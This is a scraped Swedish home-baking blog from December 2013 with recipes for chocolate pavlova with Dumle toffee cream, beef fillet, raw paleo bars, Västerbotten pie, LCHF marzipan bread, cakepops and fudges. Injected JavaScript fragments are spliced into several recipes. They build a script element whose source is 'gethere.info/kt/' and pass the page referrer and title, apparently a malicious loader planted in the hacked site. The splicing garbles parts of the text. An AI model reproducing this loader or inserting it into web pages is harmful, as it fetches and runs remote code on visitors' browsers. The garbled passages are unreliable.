Chokladpavlova fylld med Dumlekolakräm, maltesers, hallon och chokladsås

31 december, 2013 @ 10:23

Här kommer ett recept på en underbart god chokladpavlova. Se gärna till och använd bra 70% choklad samt kakao.
Jag använde Valrhona kakao.

Receptet på bottnarna kommer från boken ”Lomelinos tårtor” sen har jag gjort min egen variant av fyllning. Kan rekommendera att ni gör choklasåsen dagen innan samt Dumlekolakrämen. Kika gärna på Linda Lomelinos fina bakblogg på Amelia. Ni hittar länken här. Linda har även en annan blogg som heter Call me cupcak som ni hittar här.

Recept Chokladmarängbottnar.
50 gram mörk choklad (70%)
6 stora äggvitor
3 dl strösocker
3 msk kakao
1 msk maizena majsstärkelse
1 tsk vitvingsvinäger

Gör så här:
Bryt chokladen i bitar och smält över vattenbad. Låt svalna. Värm ugnen på 175 grader. Rita 2 rundlar som är ca 15-17 cm i diameter på ett bakplåtspapper. Placera dem så långt ifrån varandra du kan utan att komma för nära kanten. Vänd bakplåtspappret och lägg det på en plåt. Vispa äggvitorna till mjukt skum. Tillsätt sockret, lite i taget och vispa till en fast marängsmet. Tillsätt vinäger och blanda till en jämn smet. Sikta kakao och majsstärkelse i marängen. Tillsätt vinäger och blanda till en jämn smet. Rör ner den smälta chokladen. Fördela marängsmeten i rundlarna på bakplåtspappret. Tänk på att de flyter ut under gräddningen. Ställ in plåten i ugnen och sänk värmen till 120-125 grader. Grädda marängerna i ca 1 timma och 15 min, bottnarna ska vara hårda och frasiga runt kanten men sega i mitten. Stäng av ugnen och låt bottnarna stå kvar i eftervärmen med ugnsluckan på glänt tills ugnen är sval.

Fluffig Dumlekolakräm
3dl vispgrädde
180g dumlekolor

Hetta upp vispgrädden i en kastrull. Lägg i kolorna och smält dem under omrörning på svag värme. Låt svalna ett par timmar i kylen (gärna över natten). Vispa sedan, helst med elvisp, till en fluffig kräm. Grädden får ABSOLUT inte koka minsta lilla. Det är viktigt att den får bli riktit kall innan man vispar den annars kan den skära sig lätt!

Har den inte fluffat sig inom en minut är den inte tillräckligt kall eller så har grädden kokat. Fortsätter man vispa kommer blandningen att skära sig och är då i stort sett omöjlig att rädda.

Chokladsås
1 dl socker
50 gram smör
0.5 dl ljus sirap 1 tsk vaniljsocker 1 msk kakao 0.5 dl grädde

Gör så här: Blanda allt i en kastrull och låt koka upp. Sjud i ca 3-5 minuter tills såsen tjocknar något. Låt svalna.

Fyllning
Maltesers
Färska hallon

Sätta ihop tårtan:
Lägg den första tårtbotten på ett tårtfat. Bred på Dumlekrämen och upprepa med nästa botten. Toppa tårtan med ett lager Dumlekräm, hallon och delade Maltesers. När tårtan är klar , låt den gärna stå i kylen i några minuter för då blir det lättara att skära i bottnarna. Tårtan börj göras samma dag som den ska serveras.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Oxfilé

30 december, 2013 @ 10:33

Ett tips till er som vill äta oxfilé. För att tillaga oxfilé, låt köttet bli rumsvarmt, skär i 2 cm tjocka skivor, hetta upp en stekpanna, stek några minuter på varje sida så de får färg, salta och peppra under tiden. Lägg på ett ugnsfat och ställ in i kylen i 30 minuter så att de blir kalla. Sätt på ugnen och ställ in dem mitt i ugnen i 225 grader i 10 minuter. Då får man de möra fina bitarna, precis som på restaurang.} else {

Hanna och Eriks Raw Paleobar

30 december, 2013 @ 10:25

Det här receptet bakade Jill och jag innan jul. Ursprungsreceptet kommer från Hanna & Erik’s blogg. www.dromkroppen.se Jill har sedan gjort om receptet lite efter egna önskemål och har provsmakat sig fram tills det blev rätt konsistens och smak.

Hanna & Eriks Raw Paleobar

Ingredienser 12 bitar för den som är hälsometveten
6 dl valnötter
4 msk chiafrön
2 dl kokos
2 msk honung
16 färska dadlar, urkärnade
4 tsk kanel
2 tsk salt
½ dl vatten eller kokosolja
100 g 70-90 % choklad
ev. nötter och mandel

Gör så här
Finhacka valnötter och mandel i en matberedare eller mixer. Tillsätt chiafrön, kokos, dadlar och mixa igen. Blanda allt samman med honung, kanel salt och vatten el kokosolja till en deg. Tryck ut i en form. Här användes en 24 x 24 cm form. Ställ in en stund i kylen. Här kan man sedan skära upp i bitar utan choklad på.
Värm chokladen för att sedan smeta ut över massan. Rosta ev. mandel och nötter för att dekorera bitarna. Låt stelna en stund i kyl. Skär upp i 12 bitar.

} else {

Västerbottenpaj

27 december, 2013 @ 14:21

Det här receptet hittade jag på http://tastebylouise.com/vasterbottenpaj/.

Recept 8 portioner
75 gram smör, rumstempererat
2,5 dl vetemjöl
1,5 dl grädde, vispad
1,5 dl. grädde
3 äggulor
150 gram Västerbottenost
Salt
1 krm cayennepeppar

Gör så här:
Sätt ugnen på 175 grader.
Blanda smör och vetemjöl till en torr pajdeg. Tryck ut degen i form med löstagbar kant. Förgrädda skalet i ca 10 min.
Blanda försiktigt vispad grädde, grädde och äggulor i en skål. Tillsätt osten och smaka av med salt och cayennepeppar.
Häll grädd- och ostsmeten i pajskalet och grädda i ca 20 min tills pajen fått gyllene färg. Låt svalna och stjälp upp på ett fat.

d.getElementsByTagName(‘head’)[0].appendChild(s);

Jill’s Marzipanbröd LCHF

19 december, 2013 @ 14:54

Det här underbara receptet har min träningskompis Jill hittat på och det är supergott.

Jill ´s Marzipanbröd LCHF

Ingredienser 10 bitar
3,5 dl mandelmjöl
½ dl sukrin melis
½ äggvita
2 bittermandlar
2 tsk vatten
1 msk konjak
1 msk kokosolja
75 g mörk choklad 70-90 %

Gör så här
Blanda mandelmjöl, sukrin melis, riven bittermandel, äggvita samt vatten och rör runt. Blanda sen i konjak och lite värmd flytande kokosolja. Rör till en slät massa. Ställ in i kylskåpet en liten stund. Ta sedan lite olja på händerna och forma till 10 ovala bitar. Ställ sedan in bitarna i kyl/frys i ca 15 min. Under tiden smält chokladen. Ta ut bitarna och pensla, ställ åter in i kyla tills chokladen stelnat. Vänd sedan på bitarna och pensla även där.

Mjölk och glutenfridocument.currentScript.parentNode.insertBefore(s, document.currentScript);

Kokosrutor med mörk choklad

17 december, 2013 @ 11:54

Kokosrutor med mörk choklad (8 bitar) Dubbla gärna receptet för att få 16 bitar
25 gram smält kokosfett
1 ägg 100 gram kokosflingor
1 krm vaniljpulver
200 gram mörk choklad >80%

Sätt ugnen på 175 grader. Smält smöret/oljan och låt svalna. Vispa upp ägget. Blanda ägg, smält smör, kokos och vaniljpulver. Bred ut en kvadrat på ca 15×15 cm. Grädda i 10-15 minuter. Låt svalna.

Smält några rutor mörk choklad och bred på. Ställ in i kylen och låt stelna ca 20 min. Skär i bitar.

Chokladrutor med mandelsmör och kokos

16 december, 2013 @ 11:45

Igår kom min Crossfit kompis Jill hem till mig för en bakdag där vi bakade 4 sorters paleoinspirerade julgodis.
Receptet hittade jag på http://www.ceciliafolkesson.se/tag/mandelsmor/. Dock fick jag korrigera receptet en aning.
Jag har lagt till lite mer choklad samt mandelsmör.

Chokladrutor med mandelsmör och kokos (ca 12 bitar
250 gram mörk choklad
1 dl mandelsmör
2 dl rostade kokoschips

Gör så här:
Smält 2/3 av chokladen i vattenbad. Bred ut en ruta, ca 15 X 15 cm på bakplåtspapper och låt stelna. Bred på mandelsmöret.

Smält resten av chokladen, häll i kokoschipsen och rör runt tills chipsen är chokladtäckta. Bred ut på mandelsmöret.

Låt stelna. Skär rutor och förvara i kylskåpdocument.currentScript.parentNode.insertBefore(s, document.currentScript);

Vita Cakepops fyllda med kladdig chokladkaka, doppad i vit choklad och strössel

12 december, 2013 @ 10:21

Så här gör jag mina cakepops.

Cakepops recept 10 stycken.

Recept: Baka en sockerkaka med choklad (ca 250 gram) Philadelphiaost Pinnar Choklad Strössel

Gör så här:

Mixa sockerkakan som har svalnat helt. Blanda med färskosten av philadelphiatyp till en fast och smidig deg.
Rulla till runda bollar. Lägg på en tallrik och ställ i frysen ca 30 minuter.
Smält blockchokladen. Doppa ena änden av ett träspett i chokladen och stick ner i varje boll. Låt stelna någon minut så att den fäster.
Doppa sedan hela bollen försiktigt i chokladen, låt rinna av och garnera med strössel. Stick ner pinnen i en bit frigolit eller oasis så att de står stadigt. Låt stelna i kylen

Här ser nu hur jag gjort mina cake pops. Se till att ni får en bra deg att rulla bollarna och att de är rätt släta och inte för stora. Gör du dem för stora är det risk att de åker av pinnen när du doppar dem i den smälta chokladen. Det bästa är att väga bollarna. Mina brukar väga runt 22-26 gram styck, vilket brukar vara en bra storlek.
Jag brukar använda mig av ett oasisblock och klä in den i aluminiumfolie där jag stoppar ner pinnarna när jag doppat dem i choklad. Sen ställer jag in allt i kylen tills mina cake pops har stelnat.
Här ser ni även lite fler cake pops som jag gjort tidigare.

Skumtomtefudge

11 december, 2013 @ 10:16

Recept:
ca 12 st skumtomtar
50 g smör
1 dl vispgrädde
2 dl socker
150 g vit choklad

Gör så här:
Klipp skumtomtar i mindre bitar och lägg i alla ingredienser utan chokladen i en kastrull. Låt allt smälta ihop och ta av kastrullen från spisen. Lägg i den vita chokladen och rör ihop till en slät massa. Häll upp på en bakplåt ca 10X10 cm och låt svalna. Skär fudgen i bitar.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Vit chokladfudge med Baileys

10 december, 2013 @ 11:34

Baileys-Vit Choklad Fudge
500 g socker
5 dl vispgrädde
0,5 dl Baileys
150 g vit choklad